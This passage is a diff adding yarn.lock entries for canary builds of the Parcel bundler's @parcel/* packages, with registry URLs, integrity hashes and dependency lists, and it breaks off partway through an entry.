+"@parcel/error-overlay@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/error-overlay/-/error-overlay-2.13.4-canary.3401.tgz#50e5c786499485b093ed5a1c410262a6d5818895"
+  integrity sha512-NvX0zbNWTkKk75tb0qfaSUUdbx913Bk+zqjRzr6fnejcIpNb5LzFWB5H5EwdSMKN4rsU/16IBw0vh/eVzz65tg==
+  dependencies:
+    ansi-html-community "0.0.8"
+    react "^18 || ^19"
+    react-dom "^18 || ^19"
+
+"@parcel/events@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/events/-/events-2.0.0-canary.1778.tgz#2e8d1f353969166f4d402959fb24b487d6b8aaec"
+  integrity sha512-gVlxmr8Jn9p9gE3FJNg6pjB145DTHPZ573VyCUTlB3CzGP2Anw6yt8PMrl0mPbFsB+JPhDe+cC73xLcqvF5qvQ==
+
+"@parcel/feature-flags@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/feature-flags/-/feature-flags-2.13.4-canary.3401.tgz#5f246e10b1af1c03562e4a4487e294de6f7bbcdb"
+  integrity sha512-ufBQX85889tFv+WfekNTjTgoiNoTUzseCJWdNvatmDCnj9p+XXHhOzaIBuybrHmle69boEiin+SV1/ygP+MqeQ==
+
+"@parcel/fs@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/fs/-/fs-2.0.0-canary.1778.tgz#26f8b0412180a7f4c3e7466fe417ff37d601fc1b"
+  integrity sha512-E+rlzz8oMqtLLelEdx8f8urP+CL4da09CfbRNWMCpSTFSVQ4bd277ysDk3f2Zb2xSrb1UNz+jfYzkbWUkbkzNA==
+  dependencies:
+    "@parcel/feature-flags" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/types-internal" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/watcher" "^2.0.7"
+    "@parcel/workers" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/graph@3.3.4-canary.3401+b50bc79cb":
+  version "3.3.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/graph/-/graph-3.3.4-canary.3401.tgz#063e63dbfbd179f91a66913080dcfc9c9fd2a90f"
+  integrity sha512-e9jiVibaiPbN37GQmsbWYpr9hcROaNUJ+u//CEggxQ1afZzrXuemHKjpsGov8mwIOa9FPsFixEm4k3Be9totOg==
+  dependencies:
+    "@parcel/feature-flags" "2.13.4-canary.3401+b50bc79cb"
+    nullthrows "^1.1.1"
+
+"@parcel/logger@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/logger/-/logger-2.0.0-canary.1778.tgz#5816e7588836a7b797f588f1597d2291fb934c1a"
+  integrity sha512-awy1XSaICE+fcgBGg4S4OosMYjm8ekOmKeQ1VJgEaqOJMKuQ9B1KEE0wjF0go+L8UeKOkQB042krgrgFij53eg==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/events" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/markdown-ansi@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/markdown-ansi/-/markdown-ansi-2.0.0-canary.1778.tgz#ccdb0dab5ee7f4458a31545dcc1039ec47a06c0b"
+  integrity sha512-y4UcdboI584JLZAyU4MQV/vhH5KoYEPzxd44lA5UWMHgYJSAaQrf14ua7mKfJ5YzPNGdUMqnpQr/WxhwjhsZNg==
+  dependencies:
+    chalk "^4.1.2"
+
+"@parcel/namer-default@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/namer-default/-/namer-default-2.0.0-canary.1778.tgz#7e653625644c46008c27283df441d5ba84393558"
+  integrity sha512-KMlDPf2qchLWVbPHV7oYBcUvLaL2Pc45HvGomhCOVADQd/x77TrZBFQrdOdoGqrMq6UGxXanaqQSpmT+mxuUKA==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    nullthrows "^1.1.1"
+
+"@parcel/node-resolver-core@3.4.4-canary.3401+b50bc79cb":
+  version "3.4.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/node-resolver-core/-/node-resolver-core-3.4.4-canary.3401.tgz#6093e0dc3532a56e72d01761ecf6e42fda721ecc"
+  integrity sha512-xrPwvoQMolEfq5aPYOpCl2BRWzlUXCAI1Q5D6Uamellgq3AXkM32cp9NoxV8KXbWCxNg9p4Q9pn3rnc3veJsxg==
+  dependencies:
+    "@mischnic/json-sourcemap" "^0.1.0"
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/fs" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    nullthrows "^1.1.1"
+    semver "^7.5.2"
+
+"@parcel/optimizer-css@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/optimizer-css/-/optimizer-css-2.13.4-canary.3401.tgz#caef3a38f33aa708caa005c4702ceab3fe7263d8"
+  integrity sha512-Ya7XysNxz6VdyDfh/NeRAULeQxrYeDvAmdvKkMACYe2vWk9K3PGqHvW56mE0gI6lim57LGuY98qDLf30aVBG2A==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/source-map" "^2.1.1"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    browserslist "^4.6.6"
+    lightningcss "^1.22.1"
+    nullthrows "^1.1.1"
+
+"@parcel/optimizer-htmlnano@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/optimizer-htmlnano/-/optimizer-htmlnano-2.0.0-canary.1778.tgz#aeef13adb7a519827ed0e10c8f7519a588e14834"
+  integrity sha512-EV5vLmHMp4VOCDMb4X+YXgGw7ArbVkK81JIO+rsEoTxAckcApt/+tTreALdWjUFt+MUD4fOX7wj7QE2I3ZxDlA==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    htmlnano "^2.0.0"
+    nullthrows "^1.1.1"
+    posthtml "^0.16.5"
+
+"@parcel/optimizer-image@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/optimizer-image/-/optimizer-image-2.13.4-canary.3401.tgz#2873dc9346b58ef273311cc6babd0b30a409a312"
+  integrity sha512-Td1++YkEMfkmx2J8MQq4tBPUcq1LtJ1FkUVamB1aEK7rn9nayzzX09x4hsHUjIrJUwFXgxkOE+GsLDc7gxsZXQ==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/workers" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/optimizer-svgo@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/optimizer-svgo/-/optimizer-svgo-2.13.4-canary.3401.tgz#6be0319a549683889d94f427539d9c7e8fa23b05"
+  integrity sha512-Iza9b5eRF0gFo1kGZFNL3NN8fW5gkbOt8dBZ0adSmKdJnnl4qRXfk2riw/ao46TxpbUWHB3QM/Yd/zNjO35Zog==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/optimizer-swc@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/optimizer-swc/-/optimizer-swc-2.13.4-canary.3401.tgz#f8c59ae533208eeaf4d21871ad3a77dd70bdd837"
+  integrity sha512-b7szi8sWCNniSRGXMSnAPgZuqFNj6EghoLgDw5c5wNm30nh0Ra5QQIN5KGswxNj1l2qzIfk7PbU30GIxBop7kg==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/source-map" "^2.1.1"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    "@swc/core" "^1.10.7"
+    nullthrows "^1.1.1"
+
+"@parcel/package-manager@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/package-manager/-/package-manager-2.0.0-canary.1778.tgz#f8231d85d3f565762d4cf19f110b94d350a7470b"
+  integrity sha512-2KVJx1go+/DleXHzCdXctNlCuEDPL1W2N2B9+P2r+q6N1u/VMzgM5U2bJxCvHzJoRj1Z1L/+gshCoqjew3ylSA==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/fs" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/logger" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/node-resolver-core" "3.4.4-canary.3401+b50bc79cb"
+    "@parcel/types" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/workers" "2.0.0-canary.1778+b50bc79cb"
+    "@swc/core" "^1.10.7"
+    semver "^7.5.2"
+
+"@parcel/packager-css@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/packager-css/-/packager-css-2.0.0-canary.1778.tgz#e29ed4e5d0c2b41cf3603708b542d4eba4b8388f"
+  integrity sha512-1YODpOVoaXLANH3FBz47Qh0bNNc8WoFU2Xcgd2P54VheYp1TgQ5/kGZWSfk04hcxBeB6pDaVrULIzw8lpCK3vA==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/source-map" "^2.1.1"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    lightningcss "^1.22.1"
+    nullthrows "^1.1.1"
+
+"@parcel/packager-html@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/packager-html/-/packager-html-2.0.0-canary.1778.tgz#43f3fe4feb4ceb1ef30409fea393a5cd66067950"
+  integrity sha512-jV9wwbWoRkCWJ6oikLAaQkR4ZRVvWfKyvz1LbqS/L7cMsOQR/92YiPGbYa/3L0DmvgTL3LFjcN6E9hVgEk/Srw==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/types" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    nullthrows "^1.1.1"
+    posthtml "^0.16.5"
+
+"@parcel/packager-js@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/packager-js/-/packager-js-2.0.0-canary.1778.tgz#c9579986baad35802685d05bc275f9313a6b040b"
+  integrity sha512-H1WZEWNSAivEj6Mo6r14Vdc5fzB8bxOFa2ZDYCcyfHGnOulJhWU2d2n8apj8fsAFbdKGX+/AvdPvpX8HzwI23Q==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/source-map" "^2.1.1"
+    "@parcel/types" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    globals "^13.2.0"
+    nullthrows "^1.1.1"
+
+"@parcel/packager-raw@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/packager-raw/-/packager-raw-2.0.0-canary.1778.tgz#81c38947b4e5421a98364b8751a1e1e338f91108"
+  integrity sha512-yjO18I01KsOjnq6VHQfUU76wisNZt/GIEJF2NWgbp4FUbIQECbcS3JZ14Ct0MBv7rreY5/ge6Ed6a4dIsiamhQ==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/packager-svg@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/packager-svg/-/packager-svg-2.13.4-canary.3401.tgz#303d2ccdc76cb4b385f1b76af7f731b060a89521"
+  integrity sha512-QG7vuMPsWkZeixKgF+3SRYp8AcPQzV4mDQSicwfMq/aabL4fBDB5ZQ7FHb9DT3oj6ent2xjonQw9ubzwb+Hfcg==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/types" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    posthtml "^0.16.4"
+
+"@parcel/packager-wasm@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/packager-wasm/-/packager-wasm-2.13.4-canary.3401.tgz#4e84b46c8f1b2350decaa2415990eff37c0685cb"
+  integrity sha512-zoDPZd0+vXt4IhUJlWEW1aQDiO8axOJBcj1qJxK3f+VwJcLzcRJZnpUnVCdwTQfVZK4BJxMdR+8EXPsrysCiLw==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/plugin@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/plugin/-/plugin-2.0.0-canary.1778.tgz#e9f202e2e6f044a220c456c3619f5e120ed7671a"
+  integrity sha512-SH7EhYTQF1JbqEtoD70yid9PsmPBSYymZg6oc2gyWexbAGWdlPD9xz8+E876JLnuhMPFf/ptdT4Apf4n4USvAQ==
+  dependencies:
+    "@parcel/types" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/profiler@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/profiler/-/profiler-2.13.4-canary.3401.tgz#2046d73dd39764f50d7ed15602ac6fb4f71b07ed"
+  integrity sha512-BmOfBEzZhJM1sWjkeSYMknCGRGarAcvK+2iCk/PvKUvmCjJq+UpiFnSpcQehH+nbqCaBr+0SvrmWI25300mrEg==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/events" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/types-internal" "2.13.4-canary.3401+b50bc79cb"
+    chrome-trace-event "^1.0.2"
+
+"@parcel/reporter-cli@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/reporter-cli/-/reporter-cli-2.0.0-canary.1778.tgz#193a0802fa0f4c448f876d9a013f672ad2a33f6b"
+  integrity sha512-dQUzK3f4kbHC1eTzqWWkwyj6y3yPel/uB3lYSN1fiIB0Cnwmnz/baIT8v0Nw8vqOSsjZRtzGRMi4GoizONEAOw==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/types" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    chalk "^4.1.2"
+    term-size "^2.2.1"
+
+"@parcel/reporter-dev-server@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/reporter-dev-server/-/reporter-dev-server-2.0.0-canary.1778.tgz#4083e9338deb6aaa0798a4add9d7e5b6fc58fc15"
+  integrity sha512-ADLk+GTWROXGGX/0JVCePxrgrE7NAcMILkugj9Djqn+Son64JfN6b9/SMObOeg2OHUovIGntfB4XHTPrgQ3CiQ==
+  dependencies:
+    "@parcel/codeframe" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/source-map" "^2.1.1"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/reporter-tracer@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/reporter-tracer/-/reporter-tracer-2.13.4-canary.3401.tgz#f7059dd07c442912b2684de76aa3ea908db9a72a"
+  integrity sha512-GdCof1Rd73iQU6BWqK0RxO5/eQK4yE4KLYiuXSP6jRiz8aYy+eySav+AABF8xofUb0mz1S2UZHL6wi4Y26Qxlg==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    chrome-trace-event "^1.0.3"
+    nullthrows "^1.1.1"
+
+"@parcel/resolver-default@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/resolver-default/-/resolver-default-2.0.0-canary.1778.tgz#89c12e0980120ca0d17b86f8fdc49316db417f44"
+  integrity sha512-35XCeit5VlZmAAMxzR/MbRH2ZQrI9Wpwxm9IrmvZ5ETDs8ilY+g3PAg5F0WFF/prxOVIJ+5IahHuc7f9UKdBFQ==
+  dependencies:
+    "@parcel/node-resolver-core" "3.4.4-canary.3401+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/runtime-browser-hmr@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/runtime-browser-hmr/-/runtime-browser-hmr-2.0.0-canary.1778.tgz#579f09b31ea01ea6608db7eecbb12ca60b294bc8"
+  integrity sha512-eYX9Els15PWRxKp5VdVpms2MXJGhHzblqPHTZP/KXlltSmAPMiwoco72BWnrSSBniHYOpBpUJZ2it9GYeQrHdw==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/runtime-js@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/runtime-js/-/runtime-js-2.0.0-canary.1778.tgz#efeef26e7ac4a7c68bc3e3d160db033d4d0023d2"
+  integrity sha512-ZY9EtkfX9TXZUAZuT9kjexNb1Jm8RPVsbI00GsqkCN/OTU1Yp60792rYU0wQjxHiohgFBUCQPOyFvEZgHzCGfw==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    nullthrows "^1.1.1"
+
+"@parcel/runtime-rsc@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/runtime-rsc/-/runtime-rsc-2.13.4-canary.3401.tgz#9cf0681dd6442f841082518a5f83e5f1cc835351"
+  integrity sha512-xu9mozLwP6ilDLot67mmV55/0zoKpLMwsdWtcSuMGy+4O3+4107c79zXz9APrlMsui1CdIXkEcxmtGdWDRb6GQ==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    nullthrows "^1.1.1"
+
+"@parcel/runtime-service-worker@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/runtime-service-worker/-/runtime-service-worker-2.13.4-canary.3401.tgz#ae77af90b6d934e6a9df7ef7bb02d1a3aabcd293"
+  integrity sha512-xKBe0Xsa7tq1azdAip0VqqmHuQqJJgLpPElbXIaGKysN8W9W+3PxZ4U9fpkKCeymgH6tBMBAn1Wg2K2yb7gnyg==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    nullthrows "^1.1.1"
+
+"@parcel/rust@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/rust/-/rust-2.13.4-canary.3401.tgz#10af9abdc4ca84e1409c607d192d3cada0a2f4c6"
+  integrity sha512-O47VXGNEmZjf2BMHcnLrjlbiDDeKySnyLGUgq5ua8J79h/bTAtL/hRVxxmFuR1PVpNtmRaZG8zJclpFTJxTAMA==
+
+"@parcel/source-map@^2.1.1":
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/@parcel/source-map/-/source-map-2.1.1.tgz#fb193b82dba6dd62cc7a76b326f57bb35000a782"
+  integrity sha512-Ejx1P/mj+kMjQb8/y5XxDUn4reGdr+WyKYloBljpppUy8gs42T+BNoEOuRYqDVdgPc6NxduzIDoJS9pOFfV5Ew==
+  dependencies:
+    detect-libc "^1.0.3"
+
+"@parcel/transformer-babel@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/transformer-babel/-/transformer-babel-2.0.0-canary.1778.tgz#9edf15338bf2e7b519e880556775eba410a4c176"
+  integrity sha512-Wab/AzFtoZPknEXXJx4srDzpHlN5X54PE7Lt2IyUlFlfjFByFzFDbqXfPFGQOtEo1kTKElMEIKmWZoNXlNs/sg==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/source-map" "^2.1.1"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    browserslist "^4.6.6"
+    json5 "^2.2.0"
+    nullthrows "^1.1.1"
+    semver "^7.5.2"
+
+"@parcel/transformer-css@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/transformer-css/-/transformer-css-2.0.0-canary.1778.tgz#054a952fd9584c63353ba04b9dbe890abcbf17a9"
+  integrity sha512-NnGkmM+M/2kCCFEhDvEikdTI9hmKX2qg/aj/JapDP/B8yyaGWP5xSZmv4EDb/mHYpxrsJ1YUeEzdMCEwm7RMNA==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/source-map" "^2.1.1"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    browserslist "^4.6.6"
+    lightningcss "^1.22.1"
+    nullthrows "^1.1.1"
+
+"@parcel/transformer-html@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/transformer-html/-/transformer-html-2.0.0-canary.1778.tgz#8a647d56fa2372026cbb7929370cb2d938f9da58"
+  integrity sha512-g+FuzT8jtGZFqZTyvZYz+IiBiPrU1an5fekCkYjEgUYHxc1PYJS+HK6XmbYbu8zNVq11NFpiqMuPbExwvHGi1Q==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    nullthrows "^1.1.1"
+    posthtml "^0.16.5"
+    posthtml-parser "^0.12.1"
+    posthtml-render "^3.0.0"
+    semver "^7.5.2"
+    srcset "4"
+
+"@parcel/transformer-image@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/transformer-image/-/transformer-image-2.13.4-canary.3401.tgz#b8d435574e3c17adb9cc91aa3425d3ed8424f794"
+  integrity sha512-Rz44jzq9jUIOx8lLSqk2wpHz9mfo1iH74LyXKtW/0Brb8FjUu5DfX9/492B08Sh83L/HZ3zs0j9lBcVbQsMYYQ==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/workers" "2.0.0-canary.1778+b50bc79cb"
+    nullthrows "^1.1.1"
+
+"@parcel/transformer-js@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/transformer-js/-/transformer-js-2.0.0-canary.1778.tgz#c8419bccbcb11eab3bfd289805986ad35346d537"
+  integrity sha512-tr7Jiy18TyiArxRnj3v1IaitnAP1TdMJylCwX875o458du72SAoYCanyn6xb9qT/D6TVQ87OINtKvAPJo20rvg==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/source-map" "^2.1.1"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/workers" "2.0.0-canary.1778+b50bc79cb"
+    "@swc/helpers" "^0.5.0"
+    browserslist "^4.6.6"
+    nullthrows "^1.1.1"
+    regenerator-runtime "^0.14.1"
+    semver "^7.5.2"
+
+"@parcel/transformer-json@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/transformer-json/-/transformer-json-2.0.0-canary.1778.tgz#8cc61b34f4323177bc13800f1ec3451f375f0fec"
+  integrity sha512-2rT/Z+A1usE1jibCm6lNz38uqzRchffX5pi6SQS+BsDZRa5JAHizjAE5AuesKLjdJVDxZ1HBdX+gl+u6Bh+scA==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    json5 "^2.2.0"
+
+"@parcel/transformer-node@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/transformer-node/-/transformer-node-2.13.4-canary.3401.tgz#3713ebbd981d5ac2de5be51b23db6e2b19d074c7"
+  integrity sha512-r4aGiTTju9+IG9a+Wz268alvTXkS+2BMc3Dgbh/yRzicNzhJUAbdkMLrTtq0ekV+BJm/Ds53dPHPJrb5S4vnkA==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/transformer-postcss@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/transformer-postcss/-/transformer-postcss-2.0.0-canary.1778.tgz#66637a23a1ea03a0484f26b68ef2fc1904a928d1"
+  integrity sha512-iaTDDQrnIYrh8iJn99cJsnL0rffwGB8mGYTyOoqUneGLcSg0P/3XT2k8mu+OT7Q8tJOIMw6GR/3nNjZSwo0zgA==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    clone "^2.1.1"
+    nullthrows "^1.1.1"
+    postcss-value-parser "^4.2.0"
+    semver "^7.5.2"
+
+"@parcel/transformer-posthtml@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/transformer-posthtml/-/transformer-posthtml-2.0.0-canary.1778.tgz#f6619822308daccc88bb942dd0f0ba47246212ec"
+  integrity sha512-wYPsbfREZasatPZjmZdY7jJYH6+3zbtSciTuxNmyGxExLodU/Rvae3SgeJzTpuXXcFigp/J3Srgeh+yRt4KI3A==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    nullthrows "^1.1.1"
+    posthtml "^0.16.5"
+    posthtml-parser "^0.12.1"
+    posthtml-render "^3.0.0"
+    semver "^7.5.2"
+
+"@parcel/transformer-raw@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/transformer-raw/-/transformer-raw-2.0.0-canary.1778.tgz#e2eb5d32c365e1185c454790a578a8d7212fae70"
+  integrity sha512-FbHLsYd8EPDATD2xzX/FqViMOrgPhG+IGYkDXsCk1cPF+zmU4uNGE2q8MNl1zaxQxa927lN5SIkjm8Lw7Qqf7A==
+  dependencies:
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/transformer-react-refresh-wrap@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
